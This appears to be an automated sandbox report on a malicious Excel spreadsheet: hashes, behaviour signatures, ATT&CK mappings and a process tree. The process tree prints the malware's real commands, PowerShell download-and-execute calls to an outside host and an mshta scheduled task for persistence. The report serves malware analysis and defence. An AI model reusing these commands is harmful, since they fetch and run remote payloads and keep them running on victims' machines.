8fe23c29ba0570ad4b2fa152702380863429f97280d3ce26f4194e2593db45c2

General

Target

SecuriteInfo.com.Exploit.Siggen3.17232.16558.xls
Size

33KB
MD5

1d5e697a9549b96a548a76b59eb4e64c
SHA1

413e5fa05e80aa4d7cc13ffe22830f4afc9c0d2f
SHA256

8fe23c29ba0570ad4b2fa152702380863429f97280d3ce26f4194e2593db45c2
SHA512

28a71baaa8462064187172f85da123771a44fd70c33ba23e7bb42b66032eaa7edebc3a93952336d922387cd0bd553e34c847618ac7d3c942500ea53663bc63a0

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 4 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.execmd.execmd.execmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4904	2104	cmd.exe	EXCEL.EXE
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4952	2104	cmd.exe	EXCEL.EXE
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4928	2104	cmd.exe	EXCEL.EXE
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4036	2104	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exepowershell.exe

flow pid process

17 1940 powershell.exe
33 964 powershell.exe

flow	pid	process
17	1940	powershell.exe
33	964	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

3128 schtasks.exe

pid	process
3128	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Kills process with taskkill 1 IoCs
evasion

Processes:

taskkill.exe

pid process

2584 taskkill.exe
Runs ping.exe 1 TTPs 4 IoCs

Remote System Discovery
T1018

Processes:

PING.EXEPING.EXEPING.EXEPING.EXE

pid process

3204 PING.EXE
3208 PING.EXE
2140 PING.EXE
2248 PING.EXE
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2104 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exe

pid process

1940 powershell.exe
1940 powershell.exe
964 powershell.exe
964 powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

taskkill.exepowershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2584 taskkill.exe
Token: SeDebugPrivilege 1940 powershell.exe
Token: SeDebugPrivilege 964 powershell.exe

pid	process
2584	taskkill.exe

pid	process
3204	PING.EXE
3208	PING.EXE
2140	PING.EXE
2248	PING.EXE

pid	process
1940	powershell.exe
1940	powershell.exe
964	powershell.exe
964	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2584	taskkill.exe
Token: SeDebugPrivilege	1940	powershell.exe
Token: SeDebugPrivilege	964	powershell.exe

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

EXCEL.EXE

pid	process
2104	EXCEL.EXE
2104	EXCEL.EXE
2104	EXCEL.EXE
2104	EXCEL.EXE
2104	EXCEL.EXE
2104	EXCEL.EXE
2104	EXCEL.EXE
2104	EXCEL.EXE
2104	EXCEL.EXE
2104	EXCEL.EXE
2104	EXCEL.EXE
2104	EXCEL.EXE

Suspicious use of WriteProcessMemory 32 IoCs

Processes:

EXCEL.EXEcmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exe

description	pid	process	target process
PID 2104 wrote to memory of 4904	2104	EXCEL.EXE	cmd.exe
PID 2104 wrote to memory of 4904	2104	EXCEL.EXE	cmd.exe
PID 2104 wrote to memory of 4928	2104	EXCEL.EXE	cmd.exe
PID 2104 wrote to memory of 4928	2104	EXCEL.EXE	cmd.exe
PID 2104 wrote to memory of 4952	2104	EXCEL.EXE	cmd.exe
PID 2104 wrote to memory of 4952	2104	EXCEL.EXE	cmd.exe
PID 2104 wrote to memory of 4036	2104	EXCEL.EXE	cmd.exe
PID 2104 wrote to memory of 4036	2104	EXCEL.EXE	cmd.exe
PID 4904 wrote to memory of 2248	4904	cmd.exe	PING.EXE
PID 4904 wrote to memory of 2248	4904	cmd.exe	PING.EXE
PID 4928 wrote to memory of 3204	4928	cmd.exe	PING.EXE
PID 4928 wrote to memory of 3204	4928	cmd.exe	PING.EXE
PID 4036 wrote to memory of 2140	4036	cmd.exe	PING.EXE
PID 4036 wrote to memory of 2140	4036	cmd.exe	PING.EXE
PID 4952 wrote to memory of 3208	4952	cmd.exe	PING.EXE
PID 4952 wrote to memory of 3208	4952	cmd.exe	PING.EXE
PID 4952 wrote to memory of 1872	4952	cmd.exe	cmd.exe
PID 4952 wrote to memory of 1872	4952	cmd.exe	cmd.exe
PID 1872 wrote to memory of 1940	1872	cmd.exe	powershell.exe
PID 1872 wrote to memory of 1940	1872	cmd.exe	powershell.exe
PID 4952 wrote to memory of 4368	4952	cmd.exe	cmd.exe
PID 4952 wrote to memory of 4368	4952	cmd.exe	cmd.exe
PID 4368 wrote to memory of 2584	4368	cmd.exe	taskkill.exe
PID 4368 wrote to memory of 2584	4368	cmd.exe	taskkill.exe
PID 4904 wrote to memory of 1008	4904	cmd.exe	cmd.exe
PID 4904 wrote to memory of 1008	4904	cmd.exe	cmd.exe
PID 1008 wrote to memory of 964	1008	cmd.exe	powershell.exe
PID 1008 wrote to memory of 964	1008	cmd.exe	powershell.exe
PID 4928 wrote to memory of 4588	4928	cmd.exe	cmd.exe
PID 4928 wrote to memory of 4588	4928	cmd.exe	cmd.exe
PID 4588 wrote to memory of 3128	4588	cmd.exe	schtasks.exe
PID 4588 wrote to memory of 3128	4588	cmd.exe	schtasks.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Exploit.Siggen3.17232.16558.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2104

C:\Windows\SYSTEM32\cmd.exe
cmd /c ping -n 80 127.0.0.1 & %public%\Outlook.bat exit
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4904

C:\Windows\system32\PING.EXE
ping -n 80 127.0.0.1
3⤵
- Runs ping.exe
PID:2248

C:\Windows\system32\cmd.exe
cmd /c start /min PowerShell -ex Bypass -nOp -w 1 i'e'x(iwr('http://facextrade.com.br/log.txt'))
3⤵
- Suspicious use of WriteProcessMemory
PID:1008

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PowerShell -ex Bypass -nOp -w 1 i'e'x(iwr('http://facextrade.com.br/log.txt'))
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:964

C:\Windows\SYSTEM32\cmd.exe
cmd /c ping -n 10 127.0.0.1 & %public%\DefenderFile.bat exit
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4952

C:\Windows\system32\PING.EXE
ping -n 10 127.0.0.1
3⤵
- Runs ping.exe
PID:3208

C:\Windows\system32\cmd.exe
cmd /c start /min PowerShell -ex Bypass -nOp -w 1 i'e'x(iwr('http://facextrade.com.br/df.txt'))
3⤵
- Suspicious use of WriteProcessMemory
PID:1872

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PowerShell -ex Bypass -nOp -w 1 i'e'x(iwr('http://facextrade.com.br/df.txt'))
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1940

C:\Windows\system32\cmd.exe
cmd /c start /min taskkill /f /im WINWORD.EXE
3⤵
- Suspicious use of WriteProcessMemory
PID:4368

C:\Windows\system32\taskkill.exe
taskkill /f /im WINWORD.EXE
4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2584

C:\Windows\SYSTEM32\cmd.exe
cmd /c ping -n 85 127.0.0.1 & %public%\task.bat exit
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4928

C:\Windows\system32\PING.EXE
ping -n 85 127.0.0.1
3⤵
- Runs ping.exe
PID:3204

C:\Windows\system32\cmd.exe
cmd /c schtasks /create /sc MINUTE /mo 200 /tn "CDT" /tr "\"mshta\"http://facextrade.com.br/logs.php" /F
3⤵
- Suspicious use of WriteProcessMemory
PID:4588

C:\Windows\system32\schtasks.exe
schtasks /create /sc MINUTE /mo 200 /tn "CDT" /tr "\"mshta\"http://facextrade.com.br/logs.php" /F
4⤵
- Creates scheduled task(s)
PID:3128

C:\Windows\SYSTEM32\cmd.exe
cmd /c ping -n 7 127.0.0.1 & %public%\KilFile.bat exit
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4036

C:\Windows\system32\PING.EXE
ping -n 7 127.0.0.1
3⤵
- Runs ping.exe
PID:2140

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Remote System Discovery

1

T1018

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
abc27673d9c940ad74b41c58391d2412

SHA1
9a31a521a521dcd0f974ce6f7a50aecc69a50df0

SHA256
cb3f2adb2f5e39fbe5ae3c49837d9074a85f21e9be7eb8404444611f78a08357

SHA512
c7a574f9a53d29e2212500eb48fb05f475bac1e21b858f58e0e441caabea760ba7b7425a98610bf91e66d662f70a91c210b522bbecad3f5180e1aedbf6cfcdc4

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
6KB

MD5
dd50dd46b3e885f7310952c8f8f9768c

SHA1
5abc431c9ec9836e01c9bc4763ae0530eb9a93f8

SHA256
acc2f8bfa31f221a3270d2df76873cf2d80dbef1e1670f38f04653023fc754e0

SHA512
10d34afd1199297e8f11270adb2fee7a5a5736d1f23758409141f22aa23a1ca5a37ec036d8fd6ac6cf75d961b1f4979df5dcc88062133a53e5bb5378070ebf9b

Download Submit
C:\Users\Public\DefenderFile.bat
Filesize
1KB

MD5
ae4a0997ce01f4ebbb3f3cc0054ce933

SHA1
e5bfe3b390f1208b8b6ea0317f4364005f552851

SHA256
a33dd1505c2ac665e6e1fd424a048997ec0f43914b8f73037bd94dc2e89e35ce

SHA512
5de2f43af7756cd7be659d6f03314240e08ecfee7bcb97b45f828ef938a0a0a84b0c36667d0447fd5bfa4851e5eef9cf98182933bda86b42af4a154b37b2f184

Download Submit
C:\Users\Public\Outlook.bat
Filesize
900B

MD5
0427a3545c2eaed3167cffe2cf5f8aba

SHA1
b27f3a7d2b855f1d0b84727603add711bb6f6170

SHA256
ec7da386a5fc7007e33ffdcd8ab64b6ac207d1886e04b9b60f27a95533347391

SHA512
fafb712a5b636c0118128c2d448271680e66fc73fac67538f4b84c9917a7053470d7710ce508cfd82c941942e469bd3d048d7ebbcefa99797542ad026dfe038b

Download Submit
C:\Users\Public\task.bat
Filesize
954B

MD5
20a395a26f50352dc994664c3e7df533

SHA1
9b6407d22297b7af7c49aacd51bf42e51ced7029

SHA256
c6c13b53153f21b2486096732847ddb48b8eb888bd3d6ab93ee1f958fcea1b32

SHA512
2b974da0b7859584e39a9afa2fdf74fb1efba58e68d0c7b420065254f2cf017a8eb393c5f061a12f6ea79c729cebf5f81749b8cf14159ad331aae1daa7701617

Download Submit
memory/964-159-0x0000000000000000-mapping.dmp

Download
memory/964-163-0x00007FFE27E90000-0x00007FFE28951000-memory.dmp

Filesize
10.8MB

Download
memory/964-164-0x00007FFE27E90000-0x00007FFE28951000-memory.dmp

Filesize
10.8MB

Download
memory/1008-158-0x0000000000000000-mapping.dmp

Download
memory/1872-149-0x0000000000000000-mapping.dmp

Download
memory/1940-153-0x000001EE6C9D0000-0x000001EE6C9F2000-memory.dmp

Filesize
136KB

Download
memory/1940-150-0x0000000000000000-mapping.dmp

Download
memory/1940-156-0x00007FFE27E90000-0x00007FFE28951000-memory.dmp

Filesize
10.8MB

Download
memory/1940-155-0x00007FFE27E90000-0x00007FFE28951000-memory.dmp

Filesize
10.8MB

Download
memory/2104-170-0x00007FFE10050000-0x00007FFE10060000-memory.dmp

Filesize
64KB

Download
memory/2104-154-0x000002E51BB8A000-0x000002E51BB8C000-memory.dmp

Filesize
8KB

Download
memory/2104-172-0x00007FFE10050000-0x00007FFE10060000-memory.dmp

Filesize
64KB

Download
memory/2104-146-0x000002E51BB8A000-0x000002E51BB8C000-memory.dmp

Filesize
8KB

Download
memory/2104-171-0x00007FFE10050000-0x00007FFE10060000-memory.dmp

Filesize
64KB

Download
memory/2104-132-0x00007FFE10050000-0x00007FFE10060000-memory.dmp

Filesize
64KB

Download
memory/2104-138-0x00007FFE0DAE0000-0x00007FFE0DAF0000-memory.dmp

Filesize
64KB

Download
memory/2104-133-0x00007FFE10050000-0x00007FFE10060000-memory.dmp

Filesize
64KB

Download
memory/2104-169-0x00007FFE10050000-0x00007FFE10060000-memory.dmp

Filesize
64KB

Download
memory/2104-134-0x00007FFE10050000-0x00007FFE10060000-memory.dmp

Filesize
64KB

Download
memory/2104-137-0x00007FFE0DAE0000-0x00007FFE0DAF0000-memory.dmp

Filesize
64KB

Download
memory/2104-136-0x00007FFE10050000-0x00007FFE10060000-memory.dmp

Filesize
64KB

Download
memory/2104-135-0x00007FFE10050000-0x00007FFE10060000-memory.dmp

Filesize
64KB

Download
memory/2140-145-0x0000000000000000-mapping.dmp

Download
memory/2248-143-0x0000000000000000-mapping.dmp

Download
memory/2584-152-0x0000000000000000-mapping.dmp

Download
memory/3128-167-0x0000000000000000-mapping.dmp

Download
memory/3204-144-0x0000000000000000-mapping.dmp

Download
memory/3208-147-0x0000000000000000-mapping.dmp

Download
memory/4036-142-0x0000000000000000-mapping.dmp

Download
memory/4368-151-0x0000000000000000-mapping.dmp

Download
memory/4588-166-0x0000000000000000-mapping.dmp

Download
memory/4904-139-0x0000000000000000-mapping.dmp

Download
memory/4928-140-0x0000000000000000-mapping.dmp

Download
memory/4952-141-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

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Downloads